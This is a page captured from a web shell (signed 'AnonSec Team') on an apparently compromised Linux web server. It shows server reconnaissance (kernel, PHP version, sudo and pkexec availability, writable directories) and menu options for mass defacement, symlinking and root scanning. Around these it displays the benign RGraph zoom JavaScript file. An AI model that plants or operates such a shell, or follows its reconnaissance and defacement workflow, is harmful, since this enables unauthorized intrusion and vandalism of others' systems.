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/  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ouvidoria/obidos/js/RGraph/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/ouvidoria/obidos/js/RGraph/libraries/RGraph.common.zoom.js
// version: 2014-08-16
/**
 * o--------------------------------------------------------------------------------o
 * | This file is part of the RGraph package - you can learn more at:               |
 * |                                                                                |
 * |                          http://www.rgraph.net                                 |
 * |                                                                                |
 * | This package is licensed under the Creative Commons BY-NC license. That means  |
 * | that for non-commercial purposes it's free to use and for business use there's |
 * | a 99 GBP per-company fee to pay. You can read the full license here:           |
 * |                                                                                |
 * |                      http://www.rgraph.net/license                             |
 * o--------------------------------------------------------------------------------o
 */

RGraph = window.RGraph || {isRGraph: true};


// Module pattern
(function (win, doc, undefined) {
    var RG = RGraph,
        ua = navigator.userAgent,
        ma = Math;


    /**
     * A zoom in function
     *
     * @param e object The event object
     */
    RG.zoom =
        RG.Zoom = function (e) {
            e = RGraph.fixEventObject(e);


            /**
             * Triggered from a context menu
             */
            if (e && e.target && e.target.__canvas__) {
                var canvas = e.target.__canvas__;

                /**
                 * This is here to facilitate zooming by just a single left click
                 */
            } else if (e && e.target && e.target.__object__) {
                var canvas = e.target.__object__.canvas;
                e.stopPropagation(); // Hmmmm
            }

            // Fallback for MSIE9
            if (!canvas) {
                var registry_canvas = RGraph.Registry.get('chart.contextmenu').__canvas__;
                if (registry_canvas) {
                    var canvas = registry_canvas;
                }
            }

            var obj = canvas.__object__;
            var context = obj.context;
            var dataurl = canvas.toDataURL();
            var tmp = canvas;
            var coords = RG.getCanvasXY(canvas);
            var factor = obj.Get('chart.zoom.factor') - 1;

            var x = coords[0];
            var y = coords[1];

            var img = document.createElement('img');
            img.className = 'RGraph_zoomed_canvas';
            img.style.border = '1px solid #ccc';
            img.style.width = canvas.width + 'px';
            img.style.height = canvas.height + 'px';
            img.style.position = 'absolute';
            img.style.left = x + 'px';
            img.style.top = y + 'px';
            img.style.backgroundColor = 'white';
            img.style.opacity = obj.Get('chart.zoom.fade.in') ? 0 : 1;
            img.style.zIndex = 99;
            img.src = dataurl;
            document.body.appendChild(img);

            //RGraph.Registry.Set('chart.zoomedimage', img);
            // Store the zoomed image in a global var - NOT the registry
            RGraph.zoom_image = img;
            RGraph.zoom_image.obj = obj;

            // Image onclick should not hide the image
            img.onclick = function (e) {
                e = RGraph.fixEventObject(e);
                e.stopPropagation();
                return false;
            }

            //setTimeout(function (){document.body.onclick = RGraph.HideZoomedCanvas;}, 1);


            var width = parseInt(canvas.width);
            var height = parseInt(canvas.height);
            var frames = obj.Get('chart.zoom.frames');
            var delay = obj.Get('chart.zoom.delay');

            // Increase the width over 10 frames - center
            if (obj.Get('chart.zoom.hdir') == 'center') {

                for (var i = 1; i <= frames; ++i) {
                    var newWidth = width * factor * (i / frames) + width;
                    var rightHandEdge = x + canvas.width;
                    var newLeft = (x + (canvas.width / 2)) - (newWidth / 2);

                    setTimeout("RGraph.zoom_image.style.width = '" + String(newWidth) + "px'; RGraph.zoom_image.style.left = '" + newLeft + "px'", i * delay);
                }

                // Left
            } else if (obj.Get('chart.zoom.hdir') == 'left') {
                for (var i = 1; i <= frames; ++i) {
                    var newWidth = width * factor * (i / frames) + width;
                    var rightHandEdge = x + canvas.width;
                    var newLeft = rightHandEdge - newWidth;

                    setTimeout("RGraph.zoom_image.style.width = '" + String(newWidth) + "px'; RGraph.zoom_image.style.left = '" + newLeft + "px'", i * delay);
                }

                // Right (default)
            } else {
                for (var i = 1; i <= frames; ++i) {
                    var newWidth = width * factor * (i / frames) + width;
                    setTimeout("RGraph.zoom_image.style.width = '" + String(newWidth) + "px'", i * delay);
                }
            }

            // Increase the height over 10 frames - up
            if (obj.Get('chart.zoom.vdir') == 'up') {
                for (var i = 1; i <= frames; ++i) {
                    var newHeight = (height * factor * (i / frames)) + height;
                    var bottomEdge = y + canvas.height;
                    var newTop = bottomEdge - newHeight;

                    setTimeout("RGraph.zoom_image.style.height = '" + String(newHeight) + "px'; RGraph.zoom_image.style.top = '" + newTop + "px'", i * delay);
                }

                // center
            } else if (obj.Get('chart.zoom.vdir') == 'center') {
                for (var i = 1; i <= frames; ++i) {
                    var newHeight = (height * factor * (i / frames)) + height;
                    var bottomEdge = (y + (canvas.height / 2)) + (newHeight / 2);
                    var newTop = bottomEdge - newHeight;

                    setTimeout("RGraph.zoom_image.style.height = '" + String(newHeight) + "px'; RGraph.zoom_image.style.top = '" + newTop + "px'", i * delay);
                }

                // Down (default
            } else {
                for (var i = 1; i <= frames; ++i) {
                    setTimeout("RGraph.zoom_image.style.height = '" + String(height * factor * (i / frames) + height) + "px'", i * delay);
                }
            }

            // If enabled, increase the opactity over the requested number of frames
            if (obj.Get('chart.zoom.fade.in')) {
                for (var i = 1; i <= frames; ++i) {
                    setTimeout("RGraph.zoom_image.style.opacity = " + Number(i / frames), i * (delay / 2));
                }
            }

            // If stipulated, produce a shadow
            if (obj.Get('chart.zoom.shadow')) {
                for (var i = 1; i <= frames; ++i) {
                    setTimeout("RGraph.zoom_image.style.boxShadow = 'rgba(128,128,128," + Number(i / frames) / 2 + ") 0 0 25px'", i * delay);
                    setTimeout("RGraph.zoom_image.style.MozBoxShadow = 'rgba(128,128,128," + Number(i / frames) / 2 + ") 0 0 25px'", i * delay);
                    setTimeout("RGraph.zoom_image.style.WebkitBoxShadow = 'rgba(128,128,128," + Number(i / frames) / 2 + ") 0 0 25px'", i * delay);
                }
            }


            /**
             * Create the background. As of March 2013 this is always done
             */
            var div = document.createElement('DIV');
            div.style.backgroundColor = 'white';
            div.style.opacity = 0;
            div.style.position = 'fixed';
            div.style.top = 0;
            div.style.left = 0;
            div.style.width = (screen.width + 100) + 'px';
            div.style.height = (screen.height + 100) + 'px';
            div.style.zIndex = 98;

            // Hides the zoomed caboodle
            div.onclick =
                div.oncontextmenu = function (e) {
                    return RG.hideZoomedCanvas(e);
                }

            div.origHeight = div.style.height;

            document.body.appendChild(div);

            RG.zoom_background = div;

            // If the window is resized, hide the zoom
            //window.onresize = RGraph.HideZoomedCanvas;

            for (var i = 1; i <= frames; ++i) {
                setTimeout("RGraph.zoom_background.style.opacity = " + (Number(i / frames) * 0.8), i * (delay / 2));
            }

            /**
             * Fire the onzoom event
             */
            RG.fireCustomEvent(obj, 'onzoom');
        }


// End module pattern
})(window, document);

Anon7 - 2022
AnonSec Team